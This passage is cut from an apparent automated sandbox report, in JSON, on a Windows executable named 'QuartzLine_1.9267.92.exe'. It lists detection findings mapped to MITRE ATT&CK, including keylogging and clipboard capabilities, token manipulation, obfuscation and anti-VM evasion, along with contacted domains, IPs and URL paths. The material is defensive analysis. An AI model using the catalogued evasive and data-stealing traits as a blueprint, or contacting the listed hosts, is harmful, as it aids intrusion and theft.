ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetFileAttributesW\" (Indicator: \"GetFileAttributes\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"GetSystemDirectoryW\" (Indicator: \"GetSystemDirectory\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"GetFileInformationByHandle\" (Indicator: \"GetFileInformationByHandle\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"GetCurrentDirectoryW\" (Indicator: \"GetCurrentDirectory\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"GetFileInformationByHandleEx\" (Indicator: \"GetFileInformationByHandle\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"GetModuleFileNameExW\" (Indicator: \"GetModuleFileName\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the local name for a socket (API string)","description":"Found reference to API \"getsockname\" (Indicator: \"getsockname\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-224","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"Found string \"has_authority means set_password shouldn't fail\" (Indicator: \"password\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"invalid ping frame\" (Indicator: \"ping\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found string \"received unexpected shutdown ping\" (Indicator: \"ping\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"System Security","name":"Calls an API used to open a process handle","description":"Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: 7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-191","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"Found reference to API \"RevertToSelf\" (Indicator: \"RevertToSelf\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"ImpersonateAnonymousToken\" (Indicator: \"ImpersonateAnonymousToken\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"CopySid\" (Indicator: \"CopySid\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"IsValidSid\" (Indicator: \"IsValidSid\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"GetLengthSid\" (Indicator: \"GetLengthSid\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: 7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"NtWriteFile\" (Indicator: \"NtWriteFile\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"$3f","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$40","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$41","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Unusual Characteristics","name":"Detected known bank URL artifact","description":"\".getmicrosoftkey.com1&0\" (Source: 00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp, 00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp, 00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp, 00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp, Indicator: \"key.com\")","origin":"File/Memory","relevance":2,"id":"string-23","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"terrain.dat\" - Location: [%LOCALAPPDATA%\\QuartzLine\\terrain.dat]- [targetUID: 00000000-00005912]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"$42","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"File exhibits characteristics of junk code obfuscation","description":"Section \".text\" unusually large (5042486 bytes)\n possible junk padding\n Section \".data\" has very low entropy (0.82)\n indicating potential NOP sled\n Section \".tls\" has very low entropy (0.01)\n indicating potential NOP sled","origin":"Static Parser","mitre_attack_id":"T1027.016","relevance":3,"id":"static-9001","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$43","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 172.67.197.98 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Contains ability to update the user profile","description":"SystemParametersInfoA@user32.dll at 64812-9973-000000014FFA81FB\n SystemParametersInfoA@user32.dll at 64812-25719-00000001501AFDC4","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1098","relevance":5,"id":"stream-123","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"suspicious","category":"System Security","name":"Contains ability to adjust token privileges","description":"GetTokenInformation@advapi32.dll at 64812-21415-00000001500A0079\n GetTokenInformation@advapi32.dll at 64812-23295-000000015012B5B8","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1134.003","relevance":5,"id":"stream-76","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"suspicious","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory","description":"ImpersonateAnonymousToken@advapi32.dll at 64812-10514-000000014FE36E2A\n GetTokenInformation@advapi32.dll at 64812-21415-00000001500A0079\n CopySid@advapi32.dll at 64812-23274-000000015012A96D\n GetTokenInformation@advapi32.dll at 64812-23295-000000015012B5B8","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1134.001","relevance":3,"id":"stream-117","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$44","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Contains native function calls","description":"NtReadFile@ntdll.dll at 64812-9334-00000001500F52F0\n NtReadFile@ntdll.dll at 64812-9337-00000001500E54F0\n NtWriteFile@ntdll.dll at 64812-9436-00000001500DEAF0\n NtDeviceIoControlFile@ntdll.dll at 64812-16482-000000014FF9E6CC\n NtCreateFile@ntdll.dll at 64812-16515-000000014FFA00E2\n NtReadFile@ntdll.dll at 64812-21335-00000001500E6260\n NtCreateNamedPipeFile@ntdll.dll at 64812-22527-00000001500F0920\n NtQueryInformationProcess@ntdll.dll at 64812-23255-000000015012A8C1\n NtQueryInformationProcess@ntdll.dll at 64812-23269-000000015012B7D6","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":5,"id":"stream-22","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"OpenProcessToken\n RegCloseKey\n RegOpenKeyExW\n GetFileAttributesW\n GetSystemDirectoryW\n LoadLibraryA\n ReadProcessMemory\n CreateProcessW\n LoadLibraryExA\n GetModuleFileNameW\n CreateFileMappingW\n FindFirstFileExW\n MapViewOfFile\n SleepEx\n GetCommandLineW\n WriteFileEx\n CreateDirectoryW\n DeleteFileW\n Sleep\n CopyFileExW\n WriteFile\n CreateFileW\n GetModuleHandleW\n GetSystemInfo\n OpenProcess\n GetProcAddress\n VirtualProtect\n CreateThread\n GetModuleHandleA\n FindNextFileW\n LoadLibraryW\n NtQueryInformationProcess\n GetModuleFileNameExW\n GetCursorPos\n GetClipboardData\n bind\n WSASend\n closesocket\n WSASocketW\n WSAStartup\n send\n connect\n recv","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"SURICATA IPv4 invalid checksum\" (SID: 2200073, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Installation/Persistence","name":"References user shell folders registry key string","description":"Found string \"-1-5-21-1271187874-1938232448-3812392235-1001\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" (Indicator: \"currentversion\\explorer\\user shell folders\"; in Source: \"00000000-00005956.00000000.155737.C2CC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":1,"id":"string-410","sources":[{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"QuartzLine_1.9267.92.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"1/27 Antivirus vendors marked sample as malicious (3% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]}],"incidents":[{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"name":"Spyware","details_count":4,"details":[{"detail":"POSTs data to a web server"},{"detail":"Contains ability to register/read input devices (often used for keylogging)"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Contains ability to read clipboard data"}],"sources":[{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"name":"Evasive","details_count":3,"details":[{"detail":"The input sample contains a known anti-VM trick"},{"detail":"May check for the presence of a forensics/monitoring tool"},{"detail":"Contains ability to adjust token privileges"}],"sources":[{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]}],"intel_graph":{"map":{"Domain:3b41c1879b3a30259fb962c843f6e299b70a3a76778d12ac0d309a43415cb3f8":{"type":"Domain","value":"motherotters.com","verdict":{"verdict":"unknown"}},"Domain:3b9935f2736db395ad14733a8bc78415c0d37559fac105b235b7f7b695b724a9":{"type":"Domain","value":"westbeavers.com","verdict":{"verdict":"unknown"}},"Domain:ef169a7f7e87ce17d0f7b1a5e89c66d794cf07146dd04b33648ee63c4e4c7e6b":{"type":"Domain","value":"healskills.com","verdict":{"verdict":"unknown"}},"File:1a4492491b50f58887937bd258bddce9b061f805e8fb1fd9641ad528195f27f0":{"type":"File","value":"1a4492491b50f58887937bd258bddce9b061f805e8fb1fd9641ad528195f27f0"},"File:1dcc9ed5658d195efa49af2544cb356b3aa332c1dd01596484d9069b37b0ae31":{"type":"File","value":"1dcc9ed5658d195efa49af2544cb356b3aa332c1dd01596484d9069b37b0ae31"},"File:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a":{"type":"File","value":"44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","verdict":{"verdict":"likely_benign","verdict_source":"static analysis","reasons":["Very short text file without any suspicious content"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"text/plain"},"File:770102536d9e57c3eab5ec84850b04f08d168bb0042099f456fbb843136c69e2":{"type":"File","value":"770102536d9e57c3eab5ec84850b04f08d168bb0042099f456fbb843136c69e2","filetype":"DER Encoded PKCS#7 Signed Data","filetype_short":"PKCS7","mime_type":"application/octet-stream"},"File:7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3":{"type":"File","value":"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","verdict":{"verdict":"likely_benign","verdict_source":"observed prevalence","reasons":["File has very high prevalence"]},"filetype":"PE32+ executable (GUI) x86-64, for MS Windows, 8 sections","filetype_short":"PE64","mime_type":"application/x-dosexec"},"Ip:104.21.84.219":{"type":"Ip","value":"104.21.84.219"},"Ip:172.67.197.98":{"type":"Ip","value":"172.67.197.98"},"Url:/quarry/deposit":{"type":"Url","value":"/quarry/deposit"},"Url:/quarry/vein":{"type":"Url","value":"/quarry/vein"}},"chains":[{"id":"1559615893653107939","root":"File:7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","edges":[],"verdict":{"verdict":"likely_benign","verdict_source":"observed prevalence","reasons":["File has very high prevalence"]}},{"id":"1559615895743214269","root":"File:7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","edges":[{"edge_kind":"contacted_domain","from_key":"File:7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","to_key":"Domain:3b41c1879b3a30259fb962c843f6e299b70a3a76778d12ac0d309a43415cb3f8"}],"verdict":{"verdict":"unknown"}},{"id":"1559615895743214274","root":"File:7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","edges":[{"edge_kind":"contacted_domain","from_key":"File:7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","to_key":"Domain:3b9935f2736db395ad14733a8bc78415c0d37559fac105b235b7f7b695b724a9"}],"verdict":{"verdict":"unknown"}},{"id":"1559615895739019957","root":"File:7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","edges":[{"edge_kind":"contacted_domain","from_key":"File:7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","to_key":"Domain:ef169a7f7e87ce17d0f7b1a5e89c66d794cf07146dd04b33648ee63c4e4c7e6b"}],"verdict":{"verdict":"unknown"}},{"id":"1559615895743214266","root":"File:7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","to_key":"File:770102536d9e57c3eab5ec84850b04f08d168bb0042099f456fbb843136c69e2"}],"verdict":{"verdict":"unknown"}},{"id":"1559615896997311191","root":"File:7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","edges":[{"edge_kind":"extracted","from_key":"File:7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","to_key":"File:1a4492491b50f58887937bd258bddce9b061f805e8fb1fd9641ad528195f27f0"},{"edge_kind":"extracted","from_key":"File:1a4492491b50f58887937bd258bddce9b061f805e8fb1fd9641ad528195f27f0","to_key":"File:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a"}],"verdict":{"verdict":"likely_benign","verdict_source":"static analysis","reasons":["Very short text file without any suspicious content"]}},{"id":"sandbox_network","root":"File:7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","edges":[{"edge_kind":"contacted_ip","from_key":"File:7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","to_key":"Ip:172.67.197.98"},{"edge_kind":"contacted_ip","from_key":"File:7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","to_key":"Ip:104.21.84.219"},{"edge_kind":"contacted_domain","from_key":"File:7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","to_key":"Domain:3b41c1879b3a30259fb962c843f6e299b70a3a76778d12ac0d309a43415cb3f8"},{"edge_kind":"contacted_domain","from_key":"File:7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","to_key":"Domain:ef169a7f7e87ce17d0f7b1a5e89c66d794cf07146dd04b33648ee63c4e4c7e6b"},{"edge_kind":"contacted_domain","from_key":"File:7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","to_key":"Domain:3b9935f2736db395ad14733a8bc78415c0d37559fac105b235b7f7b695b724a9"},{"edge_kind":"contacted_url","from_key":"File:7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","to_key":"Url:/quarry/vein"},{"edge_kind":"contacted_url","from_key":"File:7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","to_key":"Url:/quarry/deposit"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","edges":[{"edge_kind":"extracted","from_key":"File:7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","to_key":"File:770102536d9e57c3eab5ec84850b04f08d168bb0042099f456fbb843136c69e2"},{"edge_kind":"extracted","from_key":"File:7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","to_key":"File:1dcc9ed5658d195efa49af2544cb356b3aa332c1dd01596484d9069b37b0ae31"},{"edge_kind":"extracted","from_key":"File:7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","to_key":"File:1a4492491b50f58887937bd258bddce9b061f805e8fb1fd9641ad528195f27f0"},{"edge_kind":"extracted","from_key":"File:7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","to_key":"File:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":6,"imported_dlls_count":74,"dropped_files_count":0,"extracted_files_count":4,"files_written_count":2,"files_deleted_count":0,"registry_keys_created_count":47,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":47,"embedded_ips_count":0,"embedded_domains_count":3,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":3,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":["evasive","suspicious"],"sample_flags":["Network Traffic","Extracted Files","Decrypted SSL traffic"],"sandbox_reports":[{"id":"6ab6e4b0daa59455630c0660","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"suspicious","threat_score":76,"malware_family":"ApplicUnwnt","submit_name":"QuartzLine_1.9267.92.exe","analysis_start_time":"2026-09-25T21:16:34+00:00","indicators_count":{"informative":168,"suspicious":52,"malicious":0},"tags":["Network Traffic","Extracted Files","Decrypted SSL traffic"],"is_in_unified_schema":true},{"id":"6a7e26ef88ae851e4d0f49ac","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"no specific threat","submit_name":"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","analysis_start_time":"2026-08-13T20:20:01+00:00","indicators_count":{"informative":174,"suspicious":50,"malicious":0},"tags":["Network Traffic","Extracted Files","Decrypted SSL 